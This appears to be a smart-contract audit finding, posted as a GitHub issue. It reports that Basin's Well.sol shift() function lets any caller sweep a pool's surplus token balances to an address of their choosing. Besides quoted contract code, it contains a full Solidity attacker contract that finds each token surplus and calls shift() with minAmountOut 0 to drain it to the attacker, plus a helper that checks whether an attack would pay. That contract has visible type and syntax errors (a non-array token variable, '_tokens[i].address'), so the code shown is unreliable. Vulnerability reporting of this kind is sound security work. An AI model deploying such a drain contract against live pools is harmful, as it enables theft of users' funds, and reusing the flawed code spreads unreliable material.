[Lines of code](https://github.com/code-423n4/2023-07-basin/blob/main/src/Well.sol#L352-L377) # Vulnerability details ## Impact Whichever type of ERC20 token Well contract is holding it can loose all extra tokens of all types in an amount whatever is the difference reserves[j] -_calcReserve(wellFunction(), reserves, j, totalSupply()) comes for tokenOut token passed by attacker. Attacker can pass minAmountout 0 so if check always passes. ## Proof of Concept ### Vulnerable Code : [/src/Well.sol#L352-L377]() File: /src/Well.sol 352: function shift( IERC20 tokenOut, uint256 minAmountOut, address recipient ) external nonReentrant returns (uint256 amountOut) { IERC20[] memory _tokens = tokens(); uint256[] memory reserves = new uint256[](_tokens.length); // Use the balances of the pool instead of the stored reserves. // If there is a change in token balances relative to the currently // stored reserves, the extra tokens can be shifted into tokenOut. for (uint256 i; i < _tokens.length; ++i) { reserves[i] = _tokens[i].balanceOf(address(this)); } 366: uint256 j = _getJ(_tokens, tokenOut); 367: amountOut = reserves[j] - _calcReserve(wellFunction(), reserves, j, totalSupply()); 369: if (amountOut >= minAmountOut) { 370: tokenOut.safeTransfer(recipient, amountOut); reserves[j] -= amountOut; _setReserves(_tokens, reserves); emit Shift(reserves, tokenOut, amountOut, recipient); } else { revert SlippageOut(amountOut, minAmountOut); } 377: } Attacker can call this above shift() function and pass tokenOut address after getting list of addresses of tokens hold by Well.sol contract from tokens() function of Well.sol contract. Whenever _calcReserve(wellFunction(), reserves, j, totalSupply()) becomes lesser than reserves[j] for any token and extra tokens to be shifted ,then attacker can call shift function for that token and shift extra to his account without any stoppage. reserves[j] contain balance of contract of that token where j is the index of that token contract instance in _tokens array and reserves contain contract balance for all those tokens whichever the contract is holding. ### [tokens() view Function :]() File : /src/Well.sol 84: function tokens() public pure returns (IERC20[] memory ts) { 85: ts = _getArgIERC20Array(LOC_VARIABLE, numberOfTokens()); 86: } ### [_getJ() view Function :]() File : /src/Well.sol 759: function _getJ(IERC20[] memory _tokens, IERC20 jToken) internal pure returns (uint256 j) { for (j; j < _tokens.length; ++j) { if (jToken == _tokens[j]) { return j; } } revert InvalidTokens(); } ### [_calcReserve() view Function :]() File : /src/Well.sol 695: function _calcReserve( Call memory _wellFunction, uint256[] memory reserves, uint256 j, uint256 lpTokenSupply ) internal view returns (uint256 reserve) { reserve = IWellFunction(_wellFunction.target).calcReserve(reserves, j, lpTokenSupply, _wellFunction.data); } ### [wellFunction() pure Function :]() File : /src/Well.sol 88: function wellFunction() public pure returns (Call memory _wellFunction) { _wellFunction.target = wellFunctionAddress(); uint256 dataLoc = LOC_VARIABLE + numberOfTokens() * ONE_WORD; _wellFunction.data = _getArgBytes(dataLoc, wellFunctionDataLength()); } ### Attacker Contract // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import {IWell, Call} from "src/interfaces/IWell.sol"; import {IERC20} from "oz/token/ERC20/utils/SafeERC20.sol"; import {IWellFunction} from "src/interfaces/IWellFunction.sol"; contract Attacker { address public owner; constructor() { owner = msg.sender; } function attack(address _wellContract) public { IWell well = IWell(_wellContract); IERC20 memory _tokens = well.tokens(); uint256 _totalSupply = well.totalSupply(); Call memory _wellFunction = well.wellFunction(); uint256[] memory reserves = new uint256[](_tokens.length); for (uint256 i; i < _tokens.length; ++i) { reserves[i] = _tokens[i].balanceOf(_wellContract); } for (uint256 i; i < _tokens.length; i++) { uint256 balance = _tokens[i].balanceOf(_wellContract); uint256 calc = IWellFunction(_wellFunction.target).calcReserve( reserves, i, _totalSupply, _wellFunction.data ); if (balance > calc) { uint256 profit = well.shift(_tokens[i], 0, owner); } } } function readyToAttack( address _wellContract ) public view returns (uint256, address) { IWell well = IWell(_wellContract); IERC20 memory _tokens = well.tokens(); uint256 _totalSupply = well.totalSupply(); Call memory _wellFunction = well.wellFunction(); uint256[] memory reserves = new uint256[](_tokens.length); for (uint256 i; i < _tokens.length; ++i) { reserves[i] = _tokens[i].balanceOf(_wellContract); } for (uint256 i; i < _tokens.length; i++) { uint256 balance = _tokens[i].balanceOf(_wellContract); uint256 calc = IWellFunction(_wellFunction.target).calcReserve( reserves, i, _totalSupply, _wellFunction.data ); if (balance > calc) { return (balance - calc, _tokens[i].address); } } } } You can see in the above contract how can attack happen. Using this attacker we can first take all the list of tokens and totalSupply from Well.sol tokens() and totalSupply() functions respectively. Then from wellFunction get data and target to call calcReserve on WellFunction contract. Store all tokens balance of well contract into reserves array. Now we can run a for loop for all \_tokens array tokens to know Well contract has extra tokens to shift. Mostly calls and calculations like Well.sol shift function. Then call shift function to well contract and give token address to withdraw which you want to withdraw , minAmountOut 0 and owner of this attacker as recipient. By this attacker can get all the extra tokens, difference between balance and calc into his account. There is also a view function to check attack is efficient or not. By checking which token and how much amount is ready to withdraw for attacker. ## Tools Used Manual Review ## Recommended Mitigation Steps 1. Use proper access control so that only genuine caller Or Owner can call this. 2. Make a recipient mapping containing genuine recipient addresses where protocol wants to send extra tokens not malicious address. 3. Then implement proper checks for msg.sender and recipient. Send money/tokens based on msg.sender not for everyone. Take extra care when sending money/tokens to any address. ## Assessed type Other --- The text was updated successfully, but these errors were encountered: All reactions

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